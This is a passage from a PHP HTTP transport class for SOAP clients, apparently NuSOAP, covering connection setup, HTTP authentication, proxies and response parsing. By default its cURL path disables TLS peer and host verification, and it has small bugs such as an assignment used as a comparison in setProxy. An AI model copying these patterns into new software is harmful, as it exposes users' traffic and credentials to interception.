if(isset($u['query']) && $u['query'] != ''){ $this->path .= '?' . $u['query']; } // set default port if(!isset($u['port'])){ if($u['scheme'] == 'https'){ $this->port = 443; } else { $this->port = 80; } } $this->uri = $this->path; $this->digest_uri = $this->uri; // build headers if (!isset($u['port'])) { $this->setHeader('Host', $this->host); } else { $this->setHeader('Host', $this->host.':'.$this->port); } if (isset($u['user']) && $u['user'] != '') { $this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : ''); } } /** * gets the I/O method to use * * @return string I/O method to use (socket|curl|unknown) * @access private */ function io_method() { if ($this->use_curl || ($this->scheme == 'https') || ($this->scheme == 'http' && $this->authtype == 'ntlm') || ($this->scheme == 'http' && is_array($this->proxy) && $this->proxy['authtype'] == 'ntlm')) return 'curl'; if (($this->scheme == 'http' || $this->scheme == 'ssl') && $this->authtype != 'ntlm' && (!is_array($this->proxy) || $this->proxy['authtype'] != 'ntlm')) return 'socket'; return 'unknown'; } /** * establish an HTTP connection * * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @return boolean true if connected, false if not * @access private */ function connect($connection_timeout=0,$response_timeout=30){ // For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like // "regular" socket. // TODO: disabled for now because OpenSSL must be *compiled* in (not just // loaded), and until PHP5 stream_get_wrappers is not available. // if ($this->scheme == 'https') { // if (version_compare(phpversion(), '4.3.0') >= 0) { // if (extension_loaded('openssl')) { // $this->scheme = 'ssl'; // $this->debug('Using SSL over OpenSSL'); // } // } // } $this->debug("connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this->scheme, host $this->host, port $this->port"); if ($this->io_method() == 'socket') { if (!is_array($this->proxy)) { $host = $this->host; $port = $this->port; } else { $host = $this->proxy['host']; $port = $this->proxy['port']; } // use persistent connection if($this->persistentConnection && isset($this->fp) && is_resource($this->fp)){ if (!feof($this->fp)) { $this->debug('Re-use persistent connection'); return true; } fclose($this->fp); $this->debug('Closed persistent connection at EOF'); } // munge host if using OpenSSL if ($this->scheme == 'ssl') { $host = 'ssl://' . $host; } $this->debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout); // open socket if($connection_timeout > 0){ $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str, $connection_timeout); } else { $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str); } // test pointer if(!$this->fp) { $msg = 'Couldn\'t open socket connection to server ' . $this->url; if ($this->errno) { $msg .= ', Error ('.$this->errno.'): '.$this->error_str; } else { $msg .= ' prior to connect(). This is often a problem looking up the host name.'; } $this->debug($msg); $this->setError($msg); return false; } // set response timeout $this->debug('set response timeout to ' . $response_timeout); socket_set_timeout( $this->fp, $response_timeout); $this->debug('socket connected'); return true; } else if ($this->io_method() == 'curl') { if (!extension_loaded('curl')) { // $this->setError('cURL Extension, or OpenSSL extension w/ PHP version >= 4.3 is required for HTTPS'); $this->setError('The PHP cURL Extension is required for HTTPS or NLTM. You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.'); return false; } // Avoid warnings when PHP does not have these options if (defined('CURLOPT_CONNECTIONTIMEOUT')) $CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT; else $CURLOPT_CONNECTIONTIMEOUT = 78; if (defined('CURLOPT_HTTPAUTH')) $CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH; else $CURLOPT_HTTPAUTH = 107; if (defined('CURLOPT_PROXYAUTH')) $CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH; else $CURLOPT_PROXYAUTH = 111; if (defined('CURLAUTH_BASIC')) $CURLAUTH_BASIC = CURLAUTH_BASIC; else $CURLAUTH_BASIC = 1; if (defined('CURLAUTH_DIGEST')) $CURLAUTH_DIGEST = CURLAUTH_DIGEST; else $CURLAUTH_DIGEST = 2; if (defined('CURLAUTH_NTLM')) $CURLAUTH_NTLM = CURLAUTH_NTLM; else $CURLAUTH_NTLM = 8; $this->debug('connect using cURL'); // init CURL $this->ch = curl_init(); // set url $hostURL = ($this->port != '') ? "$this->scheme://$this->host:$this->port" : "$this->scheme://$this->host"; // add path $hostURL .= $this->path; $this->setCurlOption(CURLOPT_URL, $hostURL); // follow location headers (re-directs) if (ini_get('safe_mode') || ini_get('open_basedir')) { $this->debug('safe_mode or open_basedir set, so do not set CURLOPT_FOLLOWLOCATION'); $this->debug('safe_mode = '); $this->appendDebug($this->varDump(ini_get('safe_mode'))); $this->debug('open_basedir = '); $this->appendDebug($this->varDump(ini_get('open_basedir'))); } else { $this->setCurlOption(CURLOPT_FOLLOWLOCATION, 1); } // ask for headers in the response output $this->setCurlOption(CURLOPT_HEADER, 1); // ask for the response output as the return value $this->setCurlOption(CURLOPT_RETURNTRANSFER, 1); // encode // We manage this ourselves through headers and encoding // if(function_exists('gzuncompress')){ // $this->setCurlOption(CURLOPT_ENCODING, 'deflate'); // } // persistent connection if ($this->persistentConnection) { // I believe the following comment is now bogus, having applied to // the code when it used CURLOPT_CUSTOMREQUEST to send the request. // The way we send data, we cannot use persistent connections, since // there will be some "junk" at the end of our request. //$this->setCurlOption(CURL_HTTP_VERSION_1_1, true); $this->persistentConnection = false; $this->setHeader('Connection', 'close'); } // set timeouts if ($connection_timeout != 0) { $this->setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout); } if ($response_timeout != 0) { $this->setCurlOption(CURLOPT_TIMEOUT, $response_timeout); } if ($this->scheme == 'https') { $this->debug('set cURL SSL verify options'); // recent versions of cURL turn on peer/host checking by default, // while PHP binaries are not compiled with a default location for the // CA cert bundle, so disable peer/host checking. //$this->setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt'); $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 0); $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 0); // support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo) if ($this->authtype == 'certificate') { $this->debug('set cURL certificate options'); if (isset($this->certRequest['cainfofile'])) { $this->setCurlOption(CURLOPT_CAINFO, $this->certRequest['cainfofile']); } if (isset($this->certRequest['verifypeer'])) { $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, $this->certRequest['verifypeer']); } else { $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 1); } if (isset($this->certRequest['verifyhost'])) { $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, $this->certRequest['verifyhost']); } else { $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 1); } if (isset($this->certRequest['sslcertfile'])) { $this->setCurlOption(CURLOPT_SSLCERT, $this->certRequest['sslcertfile']); } if (isset($this->certRequest['sslkeyfile'])) { $this->setCurlOption(CURLOPT_SSLKEY, $this->certRequest['sslkeyfile']); } if (isset($this->certRequest['passphrase'])) { $this->setCurlOption(CURLOPT_SSLKEYPASSWD, $this->certRequest['passphrase']); } if (isset($this->certRequest['certpassword'])) { $this->setCurlOption(CURLOPT_SSLCERTPASSWD, $this->certRequest['certpassword']); } } } if ($this->authtype && ($this->authtype != 'certificate')) { if ($this->username) { $this->debug('set cURL username/password'); $this->setCurlOption(CURLOPT_USERPWD, "$this->username:$this->password"); } if ($this->authtype == 'basic') { $this->debug('set cURL for Basic authentication'); $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC); } if ($this->authtype == 'digest') { $this->debug('set cURL for digest authentication'); $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST); } if ($this->authtype == 'ntlm') { $this->debug('set cURL for NTLM authentication'); $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM); } } if (is_array($this->proxy)) { $this->debug('set cURL proxy options'); if ($this->proxy['port'] != '') { $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host'].':'.$this->proxy['port']); } else { $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host']); } if ($this->proxy['username'] || $this->proxy['password']) { $this->debug('set cURL proxy authentication options'); $this->setCurlOption(CURLOPT_PROXYUSERPWD, $this->proxy['username'].':'.$this->proxy['password']); if ($this->proxy['authtype'] == 'basic') { $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC); } if ($this->proxy['authtype'] == 'ntlm') { $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM); } } } $this->debug('cURL connection set up'); return true; } else { $this->setError('Unknown scheme ' . $this->scheme); $this->debug('Unknown scheme ' . $this->scheme); return false; } } /** * sends the SOAP request and gets the SOAP response via HTTP[S] * * @param string $data message data * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @param array $cookies cookies to send * @return string data * @access public */ function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) { $this->debug('entered send() with data of length: '.strlen($data)); $this->tryagain = true; $tries = 0; while ($this->tryagain) { $this->tryagain = false; if ($tries++ < 2) { // make connnection if (!$this->connect($timeout, $response_timeout)){ return false; } // send request if (!$this->sendRequest($data, $cookies)){ return false; } // get response $respdata = $this->getResponse(); } else { $this->setError("Too many tries to get an OK response ($this->response_status_line)"); } } $this->debug('end of send()'); return $respdata; } /** * sends the SOAP request and gets the SOAP response via HTTPS using CURL * * @param string $data message data * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @param array $cookies cookies to send * @return string data * @access public * @deprecated */ function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies) { return $this->send($data, $timeout, $response_timeout, $cookies); } /** * if authenticating, set user credentials here * * @param string $username * @param string $password * @param string $authtype (basic|digest|certificate|ntlm) * @param array $digestRequest (keys must be nonce, nc, realm, qop) * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) * @access public */ function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) { $this->debug("setCredentials username=$username authtype=$authtype digestRequest="); $this->appendDebug($this->varDump($digestRequest)); $this->debug("certRequest="); $this->appendDebug($this->varDump($certRequest)); // cf. RFC 2617 if ($authtype == 'basic') { $this->setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password)); } elseif ($authtype == 'digest') { if (isset($digestRequest['nonce'])) { $digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1; // calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html) // A1 = unq(username-value) ":" unq(realm-value) ":" passwd $A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password; // H(A1) = MD5(A1) $HA1 = md5($A1); // A2 = Method ":" digest-uri-value $A2 = $this->request_method . ':' . $this->digest_uri; // H(A2) $HA2 = md5($A2); // KD(secret, data) = H(concat(secret, ":", data)) // if qop == auth: // request-digest = <"> < KD ( H(A1), unq(nonce-value) // ":" nc-value // ":" unq(cnonce-value) // ":" unq(qop-value) // ":" H(A2) // ) <"> // if qop is missing, // request-digest = <"> < KD ( H(A1), unq(nonce-value) ":" H(A2) ) > <"> $unhashedDigest = ''; $nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : ''; $cnonce = $nonce; if ($digestRequest['qop'] != '') { $unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf("%08d", $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2; } else { $unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2; } $hashedDigest = md5($unhashedDigest); $opaque = ''; if (isset($digestRequest['opaque'])) { $opaque = ', opaque="' . $digestRequest['opaque'] . '"'; } $this->setHeader('Authorization', 'Digest username="' . $username . '", realm="' . $digestRequest['realm'] . '", nonce="' . $nonce . '", uri="' . $this->digest_uri . $opaque . '", cnonce="' . $cnonce . '", nc=' . sprintf("%08x", $digestRequest['nc']) . ', qop="' . $digestRequest['qop'] . '", response="' . $hashedDigest . '"'); } } elseif ($authtype == 'certificate') { $this->certRequest = $certRequest; $this->debug('Authorization header not set for certificate'); } elseif ($authtype == 'ntlm') { // do nothing $this->debug('Authorization header not set for ntlm'); } $this->username = $username; $this->password = $password; $this->authtype = $authtype; $this->digestRequest = $digestRequest; } /** * set the soapaction value * * @param string $soapaction * @access public */ function setSOAPAction($soapaction) { $this->setHeader('SOAPAction', '"' . $soapaction . '"'); } /** * use http encoding * * @param string $enc encoding style. supported values: gzip, deflate, or both * @access public */ function setEncoding($enc='gzip, deflate') { if (function_exists('gzdeflate')) { $this->protocol_version = '1.1'; $this->setHeader('Accept-Encoding', $enc); if (!isset($this->outgoing_headers['Connection'])) { $this->setHeader('Connection', 'close'); $this->persistentConnection = false; } // deprecated as of PHP 5.3.0 //set_magic_quotes_runtime(0); $this->encoding = $enc; } } /** * set proxy info here * * @param string $proxyhost use an empty string to remove proxy * @param string $proxyport * @param string $proxyusername * @param string $proxypassword * @param string $proxyauthtype (basic|ntlm) * @access public */ function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') { if ($proxyhost) { $this->proxy = array( 'host' => $proxyhost, 'port' => $proxyport, 'username' => $proxyusername, 'password' => $proxypassword, 'authtype' => $proxyauthtype ); if ($proxyusername != '' && $proxypassword != '' && $proxyauthtype = 'basic') { $this->setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword)); } } else { $this->debug('remove proxy'); $proxy = null; unsetHeader('Proxy-Authorization'); } } /** * Test if the given string starts with a header that is to be skipped. * Skippable headers result from chunked transfer and proxy requests. * * @param string $data The string to check. * @returns boolean Whether a skippable header was found. * @access private */ function isSkippableCurlHeader(&$data) { $skipHeaders = array( 'HTTP/1.1 100', 'HTTP/1.0 301', 'HTTP/1.1 301', 'HTTP/1.0 302', 'HTTP/1.1 302', 'HTTP/1.0 401', 'HTTP/1.1 401', 'HTTP/1.0 200 Connection established'); foreach ($skipHeaders as $hd) { $prefix = substr($data, 0, strlen($hd)); if ($prefix == $hd) return true; } return false; } /** * decode a string that is encoded w/ "chunked' transfer encoding * as defined in RFC2068 19.4.6 * * @param string $buffer * @param string $lb * @returns string * @access public * @deprecated */ function decodeChunked($buffer, $lb){ // length := 0 $length = 0; $new = ''; // read chunk-size, chunk-extension (if any) and CRLF // get the position of the linebreak $chunkend = strpos($buffer, $lb); if ($chunkend == FALSE) { $this->debug('no linebreak found in decodeChunked'); return $new; } $temp = substr($buffer,0,$chunkend); $chunk_size = hexdec( trim($temp) ); $chunkstart = $chunkend + strlen($lb); // while (chunk-size > 0) { while ($chunk_size > 0) { $this->debug("chunkstart: $chunkstart chunk_size: $chunk_size"); $chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size); // Just in case we got a broken connection if ($chunkend == FALSE) { $chunk = substr($buffer,$chunkstart); // append chunk-data to entity-body $new .= $chunk; $length += strlen($chunk); break; } // read chunk-data and CRLF $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); // append chunk-data to entity-body $new .= $chunk; // length := length + chunk-size $length += strlen($chunk); // read chunk-size and CRLF $chunkstart = $chunkend + strlen($lb); $chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb); if ($chunkend == FALSE) { break; //Just in case we got a broken connection } $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); $chunk_size = hexdec( trim($temp) ); $chunkstart = $chunkend; } return $new; } /** * Writes the payload, including HTTP headers, to $this->outgoing_payload. * * @param string $data HTTP body * @param string $cookie_str data for HTTP Cookie header * @return void * @access private */ function buildPayload($data, $cookie_str = '') { // Note: for cURL connections, $this->outgoing_payload is ignored, // as is the Content-Length header, but these are still created as // debugging guides. // add content-length header if ($this->request_method != 'GET') { $this->setHeader('Content-Length', strlen($data)); } // start building outgoing payload: if ($this->proxy) { $uri = $this->url; } else { $uri = $this->uri; } $req = "$this->request_method $uri HTTP/$this->protocol_version"; $this->debug("HTTP request: $req"); $this->outgoing_payload = "$req\r\n"; // loop thru headers, serializing foreach($this->outgoing_headers as $k => $v){ $hdr = $k.': '.$v; $this->debug("HTTP header: $hdr"); $this->outgoing_payload .= "$hdr\r\n"; } // add any cookies if ($cookie_str != '') { $hdr = 'Cookie: '.$cookie_str; $this->debug("HTTP header: $hdr"); $this->outgoing_payload .= "$hdr\r\n"; } // header/body separator $this->outgoing_payload .= "\r\n"; // add data $this->outgoing_payload .= $data; } /** * sends the SOAP request via HTTP[S] * * @param string $data message data * @param array $cookies cookies to send * @return boolean true if OK, false if problem * @access private */ function sendRequest($data, $cookies = NULL) { // build cookie string $cookie_str = $this->getCookiesForRequest($cookies, (($this->scheme == 'ssl') || ($this->scheme == 'https'))); // build payload $this->buildPayload($data, $cookie_str); if ($this->io_method() == 'socket') { // send payload if(!fputs($this->fp, $this->outgoing_payload, strlen($this->outgoing_payload))) { $this->setError('couldn\'t write message data to socket'); $this->debug('couldn\'t write message data to socket'); return false; } $this->debug('wrote data to socket, length = ' . strlen($this->outgoing_payload)); return true; } else if ($this->io_method() == 'curl') { // set payload // cURL does say this should only be the verb, and in fact it // turns out that the URI and HTTP version are appended to this, which // some servers refuse to work with (so we no longer use this method!) //$this->setCurlOption(CURLOPT_CUSTOMREQUEST, $this->outgoing_payload); $curl_headers = array(); foreach($this->outgoing_headers as $k => $v){ if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') { $this->debug("Skip cURL header $k: $v"); } else { $curl_headers[] = "$k: $v"; } } if ($cookie_str != '') { $curl_headers[] = 'Cookie: ' . $cookie_str; } $this->setCurlOption(CURLOPT_HTTPHEADER, $curl_headers); $this->debug('set cURL HTTP headers'); if ($this->request_method == "POST") { $this->setCurlOption(CURLOPT_POST, 1); $this->setCurlOption(CURLOPT_POSTFIELDS, $data); $this->debug('set cURL POST data'); } else { } // insert custom user-set cURL options foreach ($this->ch_options as $key => $val) { $this->setCurlOption($key, $val); } $this->debug('set cURL payload'); return true; } } /** * gets the SOAP response via HTTP[S] * * @return string the response (also sets member variables like incoming_payload) * @access private */ function getResponse(){ $this->incoming_payload = ''; if ($this->io_method() == 'socket') { // loop until headers have been retrieved $data = ''; while (!isset($lb)){ // We might EOF during header read. if(feof($this->fp)) { $this->incoming_payload = $data; $this->debug('found no headers before EOF after length ' . strlen($data)); $this->debug("received before EOF:\n" . $data); $this->setError('server failed to send headers'); return false; } $tmp = fgets($this->fp, 256); $tmplen = strlen($tmp); $this->debug("read line of $tmplen bytes: " . trim($tmp)); if ($tmplen == 0) { $this->incoming_payload = $data; $this->debug('socket read of headers timed out after length ' . strlen($data)); $this->debug("read before timeout: " . $data); $this->setError('socket read of headers timed out'); return false; } $data .= $tmp; $pos = strpos($data,"\r\n\r\n"); if($pos > 1){ $lb = "\r\n"; } else { $pos = strpos($data,"\n\n"); if($pos > 1){ $lb = "\n"; } } // remove 100 headers if (isset($lb) && preg_match('/^HTTP\/1.1 100/',$data)) { unset($lb); $data = ''; }// } // store header data $this->incoming_payload .= $data; $this->debug('found end of headers after length ' . strlen($data)); // process headers $header_data = trim(substr($data,0,$pos)); $header_array = explode($lb,$header_data); $this->incoming_headers = array(); $this->incoming_cookies = array(); foreach($header_array as $header_line){ $arr = explode(':',$header_line, 2); if(count($arr) > 1){ $header_name = strtolower(trim($arr[0])); $this->incoming_headers[$header_name] = trim($arr[1]); if ($header_name == 'set-cookie') { // TODO: allow multiple cookies from parseCookie $cookie = $this->parseCookie(trim($arr[1])); if ($cookie) { $this->incoming_cookies[] = $cookie; $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); } else { $this->debug('did not find cookie in ' . trim($arr[1])); } } } else if (isset($header_name)) { // append continuation line to previous header $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; } } // loop until msg has been received if (isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked') { $content_length = 2147483647; // ignore any content-length header $chunked = true; $this->debug("want to read chunked content"); } elseif (isset($this->incoming_headers['content-length'])) { $content_length = $this->incoming_headers['content-length']; $chunked = false; $this->debug("want to read content of length $content_length"); } else { $content_length = 2147483647; $chunked = false; $this->debug("want to read content to EOF"); } $data = ''; do { if ($chunked) { $tmp = fgets($this->fp, 256); $tmplen = strlen($tmp); $this->debug("read chunk line of $tmplen bytes"); if ($tmplen == 0) { $this->incoming_payload = $data; $this->debug('socket read of chunk length timed out after length ' . strlen($data)); $this->debug("read before timeout:\n" . $data); $this->setError('socket read of chunk length timed out'); return false; } $content_length = hexdec(trim($tmp)); $this->debug("chunk length $content_length"); } $strlen = 0; while (($strlen < $content_length) && (!feof($this->fp))) { $readlen = min(8192, $content_length - $strlen); $tmp = fread($this->fp, $readlen); $tmplen = strlen($tmp); $this->debug("read buffer of $tmplen bytes"); if (($tmplen == 0) && (!feof($this->fp))) { $this->incoming_payload = $data; $this->debug('socket read of body timed out after length ' . strlen($data)); $this->debug("read before timeout:\n" . $data); $this->setError('socket read of body timed out'); return false; } $strlen += $tmplen; $data .= $tmp; } if ($chunked && ($content_length > 0)) { $tmp = fgets($this->fp, 256); $tmplen = strlen($tmp); $this->debug("read chunk terminator of $tmplen bytes"); if ($tmplen == 0) { $this->incoming_payload = $data; $this->debug('socket read of chunk terminator timed out after length ' . strlen($data)); $this->debug("read before timeout:\n" . $data); $this->setError('socket read of chunk terminator timed out'); return false; } } } while ($chunked && ($content_length > 0) && (!feof($this->fp))); if (feof($this->fp)) { $this->debug('read to EOF'); } $this->debug('read body of length ' . strlen($data)); $this->incoming_payload .= $data; $this->debug('received a total of '.strlen($this->incoming_payload).' bytes of data from server'); // close filepointer if( (isset($this->incoming_headers['connection']) && strtolower($this->incoming_headers['connection']) == 'close') || (! $this->persistentConnection) || feof($this->fp)){ fclose($this->fp); $this->fp = false; $this->debug('closed socket'); } // connection was closed unexpectedly if($this->incoming_payload == ''){ $this->setError('no response from server'); return false; } // decode transfer-encoding // if(isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked'){ // if(!$data = $this->decodeChunked($data, $lb)){ // $this->setError('Decoding of chunked data failed'); // return false; // } //print "
    \nde-chunked:\n---------------\n$data\n\n---------------\n
    "; // set decoded payload // $this->incoming_payload = $header_data.$lb.$lb.$data; // } } else if ($this->io_method() == 'curl') { // send and receive $this->debug('send and receive with cURL'); $this->incoming_payload = curl_exec($this->ch); $data = $this->incoming_payload; $cErr = curl_error($this->ch); if ($cErr != '') { $err = 'cURL ERROR: '.curl_errno($this->ch).': '.$cErr.'
    '; // TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE foreach(curl_getinfo($this->ch) as $k => $v){ $err .= "$k: $v
    "; } $this->debug($err); $this->setError($err); curl_close($this->ch); return false; } else { //echo '
    ';
    			//var_dump(curl_getinfo($this->ch));
    			//echo '
    '; } // close curl $this->debug('No cURL error, closing cURL'); curl_close($this->ch); // try removing skippable headers $savedata = $data; while ($this->isSkippableCurlHeader($data)) { $this->debug("Found HTTP header to skip"); if ($pos = strpos($data,"\r\n\r\n")) { $data = ltrim(substr($data,$pos)); } elseif($pos = strpos($data,"\n\n") ) { $data = ltrim(substr($data,$pos)); } } if ($data == '') { // have nothing left; just remove 100 header(s) $data = $savedata; while (preg_match('/^HTTP\/1.1 100/',$data)) { if ($pos = strpos($data,"\r\n\r\n")) { $data = ltrim(substr($data,$pos)); } elseif($pos = strpos($data,"\n\n") ) { $data = ltrim(substr($data,$pos)); } } } // separate content from HTTP headers if ($pos = strpos($data,"\r\n\r\n")) { $lb = "\r\n"; } elseif( $pos = strpos($data,"\n\n")) { $lb = "\n"; } else { $this->debug('no proper separation of headers and document'); $this->setError('no proper separation of headers and document'); return false; } $header_data = trim(substr($data,0,$pos)); $header_array = explode($lb,$header_data); $data = ltrim(substr($data,$pos)); $this->debug('found proper separation of headers and document'); $this->debug('cleaned data, stringlen: '.strlen($data)); // clean headers foreach ($header_array as $header_line) { $arr = explode(':',$header_line,2); if(count($arr) > 1){ $header_name = strtolower(trim($arr[0])); $this->incoming_headers[$header_name] = trim($arr[1]); if ($header_name == 'set-cookie') { // TODO: allow multiple cookies from parseCookie $cookie = $this->parseCookie(trim($arr[1])); if ($cookie) { $this->incoming_cookies[] = $cookie; $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); } else { $this->debug('did not find cookie in ' . trim($arr[1])); } } } else if (isset($header_name)) { // append continuation line to previous header $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; } } } $this->response_status_line = $header_array[0]; $arr = explode(' ', $this->response_status_line, 3); $http_version = $arr[0]; $http_status = intval($arr[1]); $http_reason = count($arr) > 2 ? $arr[2] : ''; // see if we need to resend the request with http digest authentication if (isset($this->incoming_headers['location']) && ($http_status == 301 || $http_status == 302)) { $this->debug("Got $http_status $http_reason with Location: " . $this->incoming_headers['location']); $this->setURL($this->incoming_headers['location']); $this->tryagain = true; return false; } // see if we need to resend the request with http digest authentication if (isset($this->incoming_headers['www-authenticate']) && $http_status == 401) { $this->debug("Got 401 $http_reason with WWW-Authenticate: " . $this->incoming_headers['www-authenticate']); if (strstr($this->incoming_headers['www-authenticate'], "Digest ")) { $this->debug('Server wants digest authentication'); // remove "Digest " from our elements $digestString = str_replace('Digest ', '', $this->incoming_headers['www-authenticate']); // parse elements into array $digestElements = explode(',', $digestString); foreach ($digestElements as $val) { $tempElement = explode('=', trim($val), 2); $digestRequest[$tempElement[0]] = str_replace("\"", '', $tempElement[1]); } // should have (at least) qop, realm, nonce if (isset($digestRequest['nonce'])) { $this->setCredentials($this->username, $this->password, 'digest', $digestRequest); $this->tryagain = true; return false; } } $this->debug('HTTP authentication failed'); $this->setError('HTTP authentication failed'); return false; } if ( ($http_status >= 300 && $http_status <= 307) || ($http_status >= 400 && $http_status <= 417) || ($http_status >= 501 && $http_status <= 505) ) { $this->setError("Unsupported HTTP response status $http_status $http_reason (soapclient->response has contents of the response)"); return false; } // decode content-encoding if(isset($this->incoming_headers['content-encoding']) && $this->incoming_headers['content-encoding'] != ''){ if(strtolower($this->incoming_headers['content-encoding']) == 'deflate' || strtolower($this->incoming_headers['content-encoding']) == 'gzip'){ // if decoding works, use it. else assume data wasn't gzencoded if(function_exists('gzinflate')){ //$timer->setMarker('starting decoding of gzip/deflated content'); // IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress) // this means there are no Zlib headers, although there should be $this->debug('The gzinflate function exists'); $datalen = strlen($data); if ($this->incoming_headers['content-encoding'] == 'deflate') { if ($degzdata = @gzinflate($data)) { $data = $degzdata; $this->debug('The payload has been inflated to ' . strlen($data) . ' bytes'); if (strlen($data) < $datalen) { // test for the case that the payload has been compressed twice $this->debug('The inflated payload is smaller than the gzipped one; try again'); if ($degzdata = @gzinflate($data)) { $data = $degzdata; $this->debug('The payload has been inflated again to ' . strlen($data) . ' bytes'); } } } else { $this->debug('Error using gzinflate to inflate the payload'); $this->setError('Error using gzinflate to inflate the payload'); } } elseif ($this->incoming_headers['content-encoding'] == 'gzip') { if ($degzdata = @gzinflate(substr($data, 10))) { // do our best $data = $degzdata; $this->debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes'); if (strlen($data) < $datalen) { // test for the case that the payload has been compressed twice $this->debug('The un-gzipped payload is smaller than the gzipped one; try again'); if ($degzdata = @gzinflate(substr($data, 10))) { $data = $degzdata; $this->debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes'); } } } else { $this->debug('Error using gzinflate to un-gzip the payload'); $this->setError('Error using gzinflate to un-gzip the payload'); } } //$timer->setMarker('finished decoding of gzip/deflated content'); //print "\nde-inflated:\n---------------\n$data\n-------------\n"; // set decoded payload $this->incoming_payload = $header_data.$lb.$lb.$data; } else { $this->debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); $this->setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); } } else { $this->debug('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); $this->setError('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); } } else { $this->debug('No Content-Encoding header'); } if(strlen($data) == 0){ $this->debug('no data after headers!'); $this->setError('no data present after HTTP headers'); return false; } return $data; } /** * sets the content-type for the SOAP message to be sent * * @param string $type the content type, MIME style * @param mixed $charset character set used for encoding (or false) * @access public */ function setContentType($type, $charset = false) { $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); } /** * specifies that an HTTP persistent connection should be used * * @return boolean whether the request was honored by this method. * @access public */ function usePersistentConnection(){ if (isset($this->outgoing_headers['Accept-Encoding'])) { return false; } $this->protocol_version = '1.1'; $this->persistentConnection = true; $this->setHeader('Connection', 'Keep-Alive'); return true; } /** * parse an incoming Cookie into it's parts * * @param string $cookie_str content of cookie * @return array with data of that cookie * @access private */ /* * TODO: allow a Set-Cookie string to be parsed into multiple cookies */ function parseCookie($cookie_str) { $cookie_str = str_replace('; ', ';', $cookie_str) . ';'; $data = preg_split('/;/', $cookie_str); $value_str = $data[0]; $cookie_param = 'domain='; $start = strpos($cookie_str, $cookie_param); if ($start > 0) { $domain = substr($cookie_str, $start + strlen($cookie_param)); $domain = substr($domain, 0, strpos($domain, ';')); } else { $domain = ''; } $cookie_param = 'expires='; $start = strpos($cookie_str, $cookie_param); if ($start > 0) { $expires = substr($cookie_str, $start + strlen($cookie_param)); $expires = substr($expires, 0, strpos($expires, ';')); } else { $expires = ''; } $cookie_param = 'path='; $start = strpos($cookie_str, $cookie_param); if ( $start > 0 ) { $path = substr($cookie_str, $start + strlen($cookie_param)); $path = 